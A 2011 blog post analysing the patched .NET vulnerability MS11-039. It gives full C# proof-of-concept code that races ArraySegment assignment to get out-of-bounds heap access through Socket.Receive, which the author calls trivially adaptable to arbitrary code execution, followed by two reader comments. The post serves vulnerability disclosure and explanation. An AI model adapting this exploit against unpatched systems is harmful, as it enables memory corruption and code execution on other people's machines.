# Thursday, 16 June 2011
« Calendar | Main | How to Run Unpatched CLR Side-by-Side »
MS11-039 Vulnerability Details

Tuesday Microsoft released two .NET security bulletins, one of which MS11-039 I will discuss here.

The patch updated System.dll and diffing the updated assembly with the previous version shows that they've added additional parameter validation to the Socket Send and Receive APIs that take IList<ArraySegment> parameters.

The fix consists of validating the Offset and Count properties of the passed in ArraySegment values. If you read the ArraySegment constructor documentation, you see that it throws an ArgumentException if the offset or count are not in range, but given that ArraySegment is a value type, it is easy to break this "invariant" by taking advantage of the non-atomicity of value assignment.

Here's an example the exploits the bug to create a magical array that allows negative indexing (and arbitrary heap access, trivially adaptable to an exploit to run arbitrary code):

using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Net;
using System.Threading;

class
Program
{
  static byte[] buf1;
  static byte[] buf2;
  static ArraySegment<byte> seg;

  static void Main(string[] args)
  {
    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    server.Listen(1);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    client.Connect(server.LocalEndPoint);
    Socket conn = server.Accept();
    List<ArraySegment<byte>> buffers = new List<ArraySegment<byte>>();
    buffers.Add(seg);

    buf1 = new byte[0];
    buf2 = new byte[1000];

    for (int i = 0; i < buf2.Length; i++)
      buf2[i] = 0xFF;

    Thread mutator = new Thread(Mutator);
    mutator.Start();

    Thread.Sleep(100);

    ArraySegment<byte> grab;
    for (; ; )
    {
      grab = seg;
      if (grab.Array.Length == 0 && grab.Count != 0)
      {
        Console.WriteLine("got it!");
        mutator.Abort();
        break;
      }
    }
    Console.WriteLine(grab.Array.Length);
    Console.WriteLine(grab.Count);

    client.Send(buf2);
    SocketError errorCode;
    buffers[0] = grab;
    conn.Receive(buffers, SocketFlags.None, out errorCode);

    Console.WriteLine(buf2.Length);
    Console.WriteLine(buf2[-100]);
  }

  static void Mutator()
  {
    for (; ; )
    {
      seg = new ArraySegment<byte>(buf1, 0, 0);
      seg = new ArraySegment<byte>(buf2, 0, 1000);
    }
  }
}
Thursday, 16 June 2011 10:35:25 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
Monday, 20 June 2011 19:23:44 (W. Europe Daylight Time, UTC+02:00)
Hello,
The members of the parameter buffers sent in conn.Receive(buffers, SocketFlags.None, out errorCode) are copied into a local variable. Then, this local variable is sent to a method (ValidationMethod), before to be used by native code. (cf see ilspy.exe).
So, I think you cannot break the invariant.

Dominique
Dominique Guerin
Monday, 20 June 2011 22:01:01 (W. Europe Daylight Time, UTC+02:00)
Dominique,

If you compare the unpatched System.dll with the patched version, you'll see that a ValidateSegment method was added.

If you run the code on an unpatched system, you'll see that it works. BTW, breaking the ArraySegment invariant is not a bug, it's an inherent feature of complex value types that they can't maintain complex invariants due to non-atomic copying.

Regards,
Jeroen
Name
E-mail
Home page

I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.

Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)

Answer:  
Comment (HTML not allowed)  

Live Comment Preview